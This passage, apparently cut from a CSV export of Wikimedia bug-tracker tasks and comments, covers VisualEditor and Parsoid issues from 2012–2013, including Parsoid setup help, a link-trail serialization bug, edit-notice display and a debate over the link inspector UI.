+> > could someone help me?
+> Could you tell us:
+> * What $wgVisualEditorParsoidURL and $wgVisualEditorParsoidPrefix are set to
+> in
+> your LocalSettings.php
+> * the contents of Parsoid's localsettings.js file
+> * where Parsoid is running
+
+Here is my LocalSettings.php
+
+require_once(""$IP/extensions/VisualEditor/VisualEditor.php"");
+ 
+// Allow using VisualEditor in the main namespace only (default)
+$wgVisualEditorNamespaces = array( NS_MAIN );
+ 
+// Enable by default for everybody
+$wgDefaultUserOptions['visualeditor-enable'] = 1;
+ 
+// Don't allow users to disable it
+$wgHiddenPrefs[] = 'visualeditor-enable';
+
+$wgVisualEditorParsoidURL = 'http://localhost:8000/';
+
+
+And my localsettings.js:
+
+exports.setup = function( config, env ) {
+        // The URL here is supposed to be your MediaWiki installation root
+        env.setInterwiki( 'localhost', 'http://localhost/wiki' );
+
+        // Use the PHP preprocessor to expand templates via the MW API
+        env.usePHPPreProcessor = false;
+};
+
+// Use selective serialization
+exports.useSelser = false;
+                      
+I run the Parsoid in the background using node on my own server.
+
+Thanks!",,,1357349661,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-v5mejtdved3hadzpnblg,task_subcomment,,True,c1,1,False,,,-26,,0,1,0,1,1,1,1,0,0,0,1,1,0,1,0,1,0,1,1,1,1,0,0,0,1,1,0,0,1,0,1,1,1,1,1,1,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,1,1,1,0,1,0,1,1,1,1,1,0,1,1,1,0,1,1,0,1,1
+208311,"VisualEditor: Fix ""Error loading data from server: error. Would you like to retry?""","(In reply to comment #3)
+> I have the same problems on the latest VE and Parsoid,too.
+> could someone help me?
+Could you tell us:
+* What $wgVisualEditorParsoidURL and $wgVisualEditorParsoidPrefix are set to in your LocalSettings.php
+* the contents of Parsoid's localsettings.js file
+* where Parsoid is running",,,1357346134,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-v5mejtdved3hadzpnblg,task_subcomment,,True,c1,1,False,,,-26,,0,1,0,1,0,1,0,0,0,0,1,1,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,1,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,0,0,1,0,1,0,1,1,0,1,1
+208304,"VisualEditor: Fix ""Error loading data from server: error. Would you like to retry?""","**blue.snow013** wrote:
+
+I have the same problems on the latest VE and Parsoid,too.
+could someone help me?",,,1357308806,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-v5mejtdved3hadzpnblg,task_subcomment,,True,c1,1,False,,,-26,,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,1,0,0,0,0,1,1,0,0,1,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,0,0,1,0,0,1,0
+208297,"VisualEditor: Fix ""Error loading data from server: error. Would you like to retry?""","**Coiby.Xu** wrote:
+
+I'm running it on my own server.
+Here's the address for testing: wiki.aiesec.cn/index.php?title=Test.
+If you click ""VisualEditor"", the above error will occur.
+> (In reply to comment #0)
+> > P.S. I'm using latest VE and Parsoid.
+> 
+> Are you saying you're running it on your own server? Or are you using
+> Wikipedia?",,,1357125626,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-v5mejtdved3hadzpnblg,task_subcomment,,True,c1,1,False,,,-26,,0,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,1,0,1,0,1,0,1,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,1,0,1,0,0,0,0,1,0,1,1
+208293,"VisualEditor: Fix ""Error loading data from server: error. Would you like to retry?""","(In reply to comment #0)
+> P.S. I'm using latest VE and Parsoid.
+
+Are you saying you're running it on your own server? Or are you using Wikipedia?",,,1357116244,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-v5mejtdved3hadzpnblg,task_subcomment,,True,c1,1,True,,,-26,,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,1,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,1,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,1,0,1,0,0,0,0,1,1,0,1,0,1,1,1,1,0,0,1,0,0,0,0,1,0,1,1
+45460,VisualEditor: Empty editnotices appear as notices,"The VisualEditor toolbar has a section for ""notices"" between the ""Leave feedback"" and ""Cancel"" buttons. This includes the ""You are using an alpha version of the VisualEditor. It may be slow and make erroneous changes - please check each edit that you make."" notice, as well as a relevant edit notice where one exists, separated by a gray line. However, when there is no edit notice, the section still says ""2 notices"" and places an empty div resulting in a gray line at the bottom.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1356608820,1356713507.0,PHID-USER-um3fhlwaza6ecwf67t77,False,,False,PHID-TASK-bbwwebnria5w3khcdb2z,task_description,resolved,True,c1,1,False,False,True,-27,,1,0,0,0,0,1,1,0,0,0,1,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,1,0,1,1,1,1,1,1,0,0,1,0,1,0,0,1,0,1,1,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,0
+202768,VisualEditor: Empty editnotices appear as notices,"This is due to English Wikipedia's self-invented system for edit notices where their [[MediaWiki:Editnotice-0]] / [[Template:Editnotice load]] displays an html structure even when there is no edit notice created (namely the link to ""create"" the edit notice, hidden/shown with usergroup css).
+
+Although that system is rather unhandy (as it means there will always be an edit notice even when this is not intended), it is possible to work around it by parsing the edit notice client side in javascript and applying the local stylesheet and check whether there are any non-hidden nodes.
+
+This was done and fixed in master. It will be deployed in the next branch.
+
+*** This bug has been marked as a duplicate of bug 43013 ***",,,1356713507,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-bbwwebnria5w3khcdb2z,task_subcomment,,True,c1,1,True,,,-27,,1,0,0,1,1,1,1,0,1,0,1,1,0,0,1,0,0,1,1,0,1,0,0,0,1,1,0,1,0,1,0,1,1,1,0,0,0,0,1,1,1,1,0,0,0,1,0,0,0,1,1,1,0,0,0,0,0,1,0,0,1,1,0,1,1,0,1,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,1
+45429,Removing link trail doesn't affect the output,"In investigating bug 43089, we found that removing a link trail (i.e. [[Link]]s --> [[Link]]) is impossible in the VisualEditor. This is a Parsoid bug, can be reproduced with this command:
+
+echo ""[[Link]]s"" | node parse.js | sed 's/Links/blah/;' | node parse.js --html2wt
+
+This is a further result of our steadfast approach of ""if the tests aren't broken, it's working"" -- we didn't consider changes for a long time, and now that changes are possible, our hacks for roundtripping don't always work....
+
+Suggested solution:
+
+1. First try to find the initial link text (sans trail) in the current link text. If it's there, the new trail is whatever is left.
+
+2. If that failed, try to find the old trail in the current text with a regex like /s$/. If you find it, emit it.
+
+3. If both of those fail, don't emit a link trail. The trail has been modified enough that it's probably just within the text of the link now, and we won't lose meaning by just using the [[link|text]] syntax.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1356551700,1358213523.0,PHID-USER-nvavrb7ko66hv3xap6sb,False,,False,PHID-TASK-d3f2ddd27saapnkqzblp,task_description,resolved,True,c1,1,True,False,True,-27,,0,0,0,1,1,1,1,0,0,1,1,1,0,0,0,1,1,1,1,0,1,0,0,0,1,0,0,0,1,0,0,1,1,1,1,1,0,0,1,1,0,0,1,1,0,1,0,0,0,1,1,1,0,1,0,0,0,1,1,0,1,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,1
+200760,Removing link trail doesn't affect the output,Finally squashed in https://gerrit.wikimedia.org/r/#/c/43985/.,,,1358213523,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-d3f2ddd27saapnkqzblp,task_subcomment,,True,c1,1,True,,,-24,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,1,0,0,0,0,0,0,0
+200752,Removing link trail doesn't affect the output,Change I126116de should fix this.,,,1356634590,,PHID-USER-nvavrb7ko66hv3xap6sb,False,,,PHID-TASK-d3f2ddd27saapnkqzblp,task_subcomment,,True,c1,1,True,,,-27,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0
+200743,Removing link trail doesn't affect the output,"You can replicate this in VisualEditor in fact by removing the trailing 's' when the linked 's' came via a link-trail in the original wikitext.    
+
+We record information about original wikitext in html-attributes.  Recording source information in attributes and using it is not a hack -- it is necessary to preserve original wikitext when it is unmodified (which is going to be more often than not).  We now need to fix our serialization to detect modifications in cases like this where we are currently not.",,,1356553785,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-d3f2ddd27saapnkqzblp,task_subcomment,,True,c1,1,True,,,-27,,0,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,0,0,1,0,1,0,1,0,1,0,0,0,0,1,1,0,1,0,0,0,1,0,1,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,1,1,0,1,1,0,0
+45323,PHP Fatal error:  Call to undefined method Title::getEditNotices() in extensions/VisualEditor/ApiVisualEditor.php,"**Author:** `aderumier`
+
+**Description:**
+Hello,
+I'm trying VisualEditor, last git version (21 december), and I got an error 500 on POST /api.php, when I try to edit/create a page with visualeditor
+
+php-fpm error log give me
+
+Call to undefined method Title::getEditNotices() in extensions/VisualEditor/ApiVisualEditor.php
+
+
+Any idea ?
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1356106320,1356106907.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-6tdn24gf46lji7yqfvl2,task_description,invalid,True,c1,1,False,False,True,-28,,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,1,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,1,0,0,1,0,1,1,1,1,0,0,0
+194880,PHP Fatal error:  Call to undefined method Title::getEditNotices() in extensions/VisualEditor/ApiVisualEditor.php,This method was added into MediaWiki core in Gerrit change 36240. You'll need to update to that.,,,1356106907,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-6tdn24gf46lji7yqfvl2,task_subcomment,,True,c1,1,True,,,-28,,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+45258,VisualEditor: Tooltip broken on outdent button,"https://gerrit.wikimedia.org/r/gitweb?p=mediawiki/extensions/VisualEditor.git;a=blob;f=modules/ve/ui/tools/buttons/ve.ui.OutdentButtonTool.js;h=ccb5e6cfbf8edc3b5f8326941fe50db8417dd85e;hb=HEAD#l29
+
+Change
+visualeditor-outdentationbutton-outdent-tooltip
+to
+visualeditor-indentationbutton-outdent-tooltip
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1355898660,1355942170.0,PHID-USER-sx63fwaih5kjt7bz4u6z,False,,False,PHID-TASK-jtaql5mrtvhb43vajwv3,task_description,resolved,True,c1,1,False,False,True,-28,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+190926,VisualEditor: Tooltip broken on outdent button,Thanks for the report.  This was patched in. https://gerrit.wikimedia.org/r/#/c/38810/,,,1355942170,,PHID-USER-pun3sjvg3cemjzbgyo2t,False,,,PHID-TASK-jtaql5mrtvhb43vajwv3,task_subcomment,,True,c1,1,False,,,-28,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0
+45119,Reporter missing in IRC announcement of new issue,"The reporter is missing in the IRC announcements of new issues in #mediawiki.
+
+Observed IRC output:
+
+(NEW) VisualEditor: Support <hiero> extension - https://bugzilla.wikimedia.org/43118 normal; VisualEditor: General; ()
+(NEW) File will not change from original version - https://bugzilla.wikimedia.org/43117 normal; MediaWiki: File management; ()
+(NEW) prevent update.php from updating database schemata of wgSharedTables - https://bugzilla.wikimedia.org/43116 enhancement; MediaWiki: Installer; ()
+
+Expected IRC output: ""()"" replaced by ""(UserName)"":
+
+(NEW) VisualEditor: Support <hiero> extension - https://bugzilla.wikimedia.org/43118 normal; VisualEditor: General; (Raimond Spekking)
+(NEW) File will not change from original version - https://bugzilla.wikimedia.org/43117 normal; MediaWiki: File management; (Adam Cuerden)
+(NEW) prevent update.php from updating database schemata of wgSharedTables - https://bugzilla.wikimedia.org/43116 enhancement; MediaWiki: Installer; (Gregor Hagedorn)
+
+--------------------------
+**Version**: wmf-deployment
+**Severity**: normal",Needs Triage,90.0,1355479740,1355479865.0,PHID-USER-w5a723w3wes6jd5wskgg,False,,False,PHID-TASK-ttm23g3exfsgbjvupqdx,task_description,resolved,True,c1,1,False,False,True,-29,,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,1,1,0,0,0,0,1,1,0,1,0,0,1,0,0,0,1,0,0,1
+183160,Reporter missing in IRC announcement of new issue,"
+
+*** This bug has been marked as a duplicate of bug 42774 ***",,,1355479865,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-ttm23g3exfsgbjvupqdx,task_subcomment,,True,c1,1,False,,,-29,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+45078,VisualEditor never loads,"After enabling the VisualEditor editing interface, as usual in the Vector skin, the tab appears but then the page actually never loads for editing.
+
+--------------------------
+**Version**: unspecified
+**Severity**: blocker
+**OS**: Windows XP
+**Platform**: PC",Needs Triage,90.0,1355414040,1355415643.0,PHID-USER-wel3wo6tppcxgnrthxls,False,,False,PHID-TASK-i3kcektvabsqugyb5tzv,task_description,declined,True,c1,1,False,False,True,-29,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0
+205134,VisualEditor never loads,Wth?! Why does it take so much time to load. But then it atlast worked.,,,1355415643,,PHID-USER-wel3wo6tppcxgnrthxls,False,,,PHID-TASK-i3kcektvabsqugyb5tzv,task_subcomment,,True,c1,1,False,,,-29,,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,1,1,1,1,0,0,1,0,1,0,0,0,1,1,1,1,0,0,1,0,1,0,0,0,0,0,0
+45064,VisualEditor: Skip the inspector menu on links,"The correctness of a Wikipedia article to a great extent depends on the correctness of the link targets. Presently, Visual Editors give no Visual feedback of the target.
+
+Enhancement 1: provide a tooltip for the target when hovering with the mouse over a link. This will be helpful for mouse-based computing devices.
+
+Enhancement 2: Open the link editing dialogue box directly when clicking the link. Presently when clicking on existing links, only a small chain-link icon appears, which has to be clicked again to open the dialogue which shows the link target and allows editing it.
+
+I believe the link-chain-icon step can be skipped.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1355398980,1355435276.0,PHID-USER-grpjkpfolt5gz4ljlbfg,False,,False,PHID-TASK-ux4izidb7xrrwhvej2xp,task_description,declined,True,c1,1,False,False,True,-29,,0,0,0,1,0,1,1,0,0,0,0,0,0,1,0,1,0,1,1,0,1,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,1,1,0,1,1,0,1,1,0,1,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0
+204232,VisualEditor: Skip the inspector menu on links,"What you explain is pretty depressing. Just the necessity to learn all the icons for all the rare-to-be-used ""inspectors"" that will accumulate over time sounds like it may continue to prevent a majority of people from editing ... I fear it is dangerous if programmers try to design the user interface for normal people.
+
+The method used by Google docs works really well for me: when clicking on an existing link, it directly shows the link target and offers ""change"" and ""remove"". Nice, simple, accessible, intuitive. And all the other non-context sensitive options for normal text stay in the menu and button and can be accessed from there. No toolbar full of accessor/inspector items that moves with the cursor and prevents reading.",,,1355445344,,PHID-USER-grpjkpfolt5gz4ljlbfg,False,,,PHID-TASK-ux4izidb7xrrwhvej2xp,task_subcomment,,True,c1,1,False,,,-29,,1,0,0,1,0,1,1,0,0,1,1,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,0,1,1,1,1,1,1,1,1,0,0,1,1,1,0,0,1,0,1,0,1,0,1,1,0,1,1,0,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,1,1,1,1,0,0,0
+204226,VisualEditor: Skip the inspector menu on links,"(In reply to comment #2)
+> I remain unconvinced. What other ""inspectors"" do you want to call on a link?
+
+It's not ""on a link"", it's ""on some text"" - yes, this includes links if one is set, but there will be quite a few annotation inspectors; in complex cases, we may need to come up with a new interface if it ever got about half a dozen or so. What you're seeing is an artefact that we haven't written the other annotation inspectors yet - not that they aren't applicable. For example, we'll be creating (or helping others create) annotation inspectors for setting the selection's language (as used on the English Wikipedia through a template, but invaluable to our multi-lingual wikis), modifying text colour and other funky formatting, marking up the content as an address (as used through an extension in Wikivoyage) or as a status update (used on MediaWiki.org), and no-doubt several others that we haven't even thought of yet.
+
+Note that this menu (which is purely about annotation inspectors) doesn't trigger on text that isn't already a link, as we don't show it when there are no appropriate annotation inspectors for the context.
+
+There will also be a bunch of object inspectors for ""complex"" things like references, templates, images and other media, galleries, Wikidata transclusions and queries, music annotations, maths equations, EasyTimeline uses, code blocks with syntax highlighting, poems, and dozens of other things that are block-level parser hooks of some kind, as tailored to the wiki and within that to the context. And, of course, this list will expand over time as the number of things that can be created and edited through the VisualEditor approaches completeness for Wikimedia's cluster install, and for third parties using MediaWiki in their own situations.
+
+Finally, there will be a page-level inspector for page-level meta-data - like categories and language links, the ""magic words"" that perform title over-rides, redirects, suppression of the table of contents, etc.
+
+[Snip]
+
+> I fear it will be an even worse user experience if users have to choose
+> between various ""inspectors"" for a link. And I fear the choices will be
+> hard to make until they have read a couple of help pages. This is not what
+> I hope the VE will achieve...
+
+Certainly, part of our job is to make a complex task as simple as possible - but, to steal the phrase, no simpler. I fear that we haven't explained the concept of annotation inspectors in the design language well enough for the above to be clear, for which I apologise.
+
+> I would prefer a bit of object-oriented context smartness. Perhaps, to
+> satisfy the generic design (I can imagine some alternative choices for some
+> other objects...): why not skip the ""choose an inspector"" step if there is
+> only one choice for a given object in a given context? This would easily
+> support cases where an object may truly need a choice of inspectors, but
+> avoid the clumsiness of the current approach.
+
+This would mean that, as you move the cursor through the text, every time you hit a link, the link inspector would load, filling the screen (and triggering a wasteful and unwanted API request to get the suggested list of pages for the link text). Clearly for you, this would be appropriate, but I don't agree that it's an interface paradigm that would work for most users.
+
+> (Note that the tooltip enhancement does not help on modern touch devices, so
+> making the interaction with links to check link correctness painless remains
+> an issue.)
+
+Sorry, but this is not true. In an iPad or Android tablet or mobile 'phone, press and hold on a link to be informed of the link's title attribute; voilà, the link destination is revealed. Yes, this is messy, but our job is to be as seemless as possible in integrating with users' operating systems' existing workflows, not inventing our own.",,,1355443086,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-ux4izidb7xrrwhvej2xp,task_subcomment,,True,c1,1,True,,,-29,,1,0,1,1,1,1,1,0,0,1,1,1,0,0,1,1,1,1,1,0,1,0,0,1,1,1,0,0,1,1,1,1,1,1,1,1,0,1,1,1,1,1,0,1,0,1,1,1,1,1,1,1,1,1,0,0,0,1,1,1,1,1,0,1,1,1,0,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,1,1,0,1,0,1,1,0,1,1,1,1
+204220,VisualEditor: Skip the inspector menu on links,"I remain unconvinced. What other ""inspectors"" do you want to call on a link? (An ""Open link in new tab"" inspector? If yes I propose to integrate such special case functions in the link inspector itself to keep things simple and avoid decisions steps up front). 
+
+I fear it will be an even worse user experience if users have to choose between various ""inspectors"" for a link. And I fear the choices will be hard to make until they have read a couple of help pages. This is not what I hope the VE will achieve...
+
+I would prefer a bit of object-oriented context smartness. Perhaps, to satisfy the generic design (I can imagine some alternative choices for some other objects...): why not skip the ""choose an inspector"" step if there is only one choice for a given object in a given context? This would easily support cases where an object may truly need a choice of inspectors, but avoid the clumsiness of the current approach.
+
+(Note that the tooltip enhancement does not help on modern touch devices, so making the interaction with links to check link correctness painless remains an issue.)",,,1355436686,,PHID-USER-grpjkpfolt5gz4ljlbfg,False,,,PHID-TASK-ux4izidb7xrrwhvej2xp,task_subcomment,,True,c1,1,False,,,-29,,1,0,0,0,1,1,1,0,0,1,1,0,0,1,1,1,0,1,1,0,1,0,0,0,0,0,0,0,1,1,0,1,1,1,1,1,0,0,0,1,0,1,0,1,0,1,0,0,1,1,1,0,0,0,0,0,0,1,1,0,1,1,0,1,1,0,0,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,1,1,0,1,0,1,1,1,1,1,0,0
+204212,VisualEditor: Skip the inspector menu on links,"This mis-understands the menu - the ""chain icon"" launches the link inspector, but there are potentially quite a few icons in the user's context at this point. We only have the link inspector created at this stage, but we will have more before the VisualEditor is ""finished"".
+
+For the first enhancement, this was fixed in bug 37904 but that has regressed - have re-opened that one.",,,1355435276,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-ux4izidb7xrrwhvej2xp,task_subcomment,,True,c1,1,True,,,-29,,1,0,0,1,0,1,0,0,0,0,1,1,0,1,1,1,0,1,1,0,0,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,0,1,0,0,1,0,0
+45056,VisualEditor: Things are sometimes alienated as block when they should be inline,"""phantoms"" text is wrapped into a ""div class=""ve-ce-phantoms"" "" which adds a linebreak because div is a  block element, see https://en.wikipedia.org/wiki/User:Raymond/nowiki
+
+Better to use a span I think.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1355386260,1357678696.0,PHID-USER-3uecblbxq24ycewm2cog,False,,False,PHID-TASK-ly2xm7tz73tvksvhmtyz,task_description,resolved,True,c1,1,False,False,True,-29,,0,0,0,1,0,1,1,1,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,1,1,1,0,0,1,0,0
+203706,VisualEditor: Things are sometimes alienated as block when they should be inline,Merged; code will be deployed as part of the 2013-01-16 release cycle.,,,1357678696,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-ly2xm7tz73tvksvhmtyz,task_subcomment,,True,c1,1,True,,,-25,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0
+203700,VisualEditor: Things are sometimes alienated as block when they should be inline,https://gerrit.wikimedia.org/r/39846,,,1356175107,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-ly2xm7tz73tvksvhmtyz,task_subcomment,,True,c1,1,False,,,-28,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+203693,VisualEditor: Things are sometimes alienated as block when they should be inline,"Fixing summary. Editable nodes are called ""aliens"". The ""phantom"" is the green hatched-out overlay that appears when mousing over an alien. It's an absolutely positioned <div> that exists outside of the main editor DOM. Because of the mouseover effect, you can't actually inspect the aliens themselves easily, but when you do, you'll find that the actual uneditable content is in <div class=""ve-ce-alienBlock""> or <span class=""ve-ce-alienInline""> as appropriate.
+
+The issue here is that some things (nowikis in Raymond's example, and I've seen some references do it in the wild) are alienated as alienBlock nodes by ve.dm.Converter when they should really be alienInline nodes.",,,1355389006,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-ly2xm7tz73tvksvhmtyz,task_subcomment,,True,c1,1,False,,,-29,,1,0,1,1,1,1,1,1,0,0,1,1,0,0,0,1,0,1,1,0,0,1,0,0,0,0,0,1,0,1,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,0,0,1,1,1,1,1,0,1,0,0,0,1,1,0,1,1,0,1,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,1,1,1,1,0,0,1
+45055,VisualEditor: Escape from LinkAnnotation editor closes annotation editor but leaves suggestion box floating,"Screenshot of state after escape
+
+Steps to reproduce problem:
+1. Open link editor for a link on a page
+2. Enter a new page type
+3. Hit Escape
+
+Expected:
+Annotation editor closes.
+
+
+Actual:
+ve-ui-inspector hides, ve-ui-context-menu re-appears. But ve-ui-context-frame-overlay (and thus ve-ui-suggest-select) stay visible and interactive (taking hover and clicks). Though interaction is ignored at this point (clicking a different suggestion does not affect the actual link anymore).
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+
+**Attached**: {F10181}",Needs Triage,90.0,1355378640,1355425528.0,PHID-USER-sai77mtxmpqnm6pycyvz,False,,False,PHID-TASK-kvsbzknbe6m5oydwjk6y,task_description,resolved,True,c1,1,True,False,True,-29,,0,0,0,1,1,1,0,0,1,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,1,0,0,0,0,0,1,1,0,1,0,1,0,0,1,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,0,0,1,0,1,0,0,1
+203667,VisualEditor: Escape from LinkAnnotation editor closes annotation editor but leaves suggestion box floating,"
+
